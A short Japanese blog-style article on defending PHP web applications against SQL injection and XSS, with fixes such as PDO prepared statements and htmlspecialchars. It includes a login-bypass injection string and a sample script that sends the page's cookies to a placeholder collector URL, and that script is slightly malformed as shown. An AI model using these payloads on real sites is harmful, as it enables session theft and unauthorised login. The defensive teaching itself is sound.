Webセキュリティに関するいくつかの防犯措置

2587 ワード

1,sql注入について
ユーザーがログイン情報を送信するときにpassword'or 1#を使用すると、元のsql接続文がselect*from table where username=xxx and password='password'or 1#'となり、ログインユーザーがログイン情報を取得します.sql注入が完了しました
解決策
第一:addslashesで提出した文字を特殊文字に変換する
第二:pdoパラメータでバインドする形式
$dbh = new PDO("mysql:dbname=la;host=127.0.0.1","root","");
$sth = $dbh->prepare("select * from users where username=:username");
$sth->execute(array('username'=>$username));
$result = $sth->fetchAll();

第三に、文字数の制限、データ型の規定など、データの正確性を検証する.
2,xss攻撃
この攻撃シーンは、フィルタリングがなければコメント時にscriptコードを提出するのが一般的です.危険性が大きいので、例えば
<script>
var url = "http://localhost//toucookie.php?cookie=" + document.cookie;
var img = document.createElement("img");
img.src = url;
document.appendChild(url);
script>
この段落は他のユーザーがこの画像をクリックすると、自動的にこのサイトのクッキー情報を攻撃者に送信し、攻撃者がクッキー情報を持っていれば、多くのことができます.例えば、ユーザーの情報を取得し、ユーザーのバックグラウンドに直接ログインできる可能性があります.
解決策
1,コメントという提出データをするときにhtmlspecialcharsでhtmlのいくつかのものをエンティティに変換します.
2,strip_tagsでhtmlタグを削除できます
3、sciptタグなどをフィルタリングするには、具体的なビジネスニーズを見る必要があります.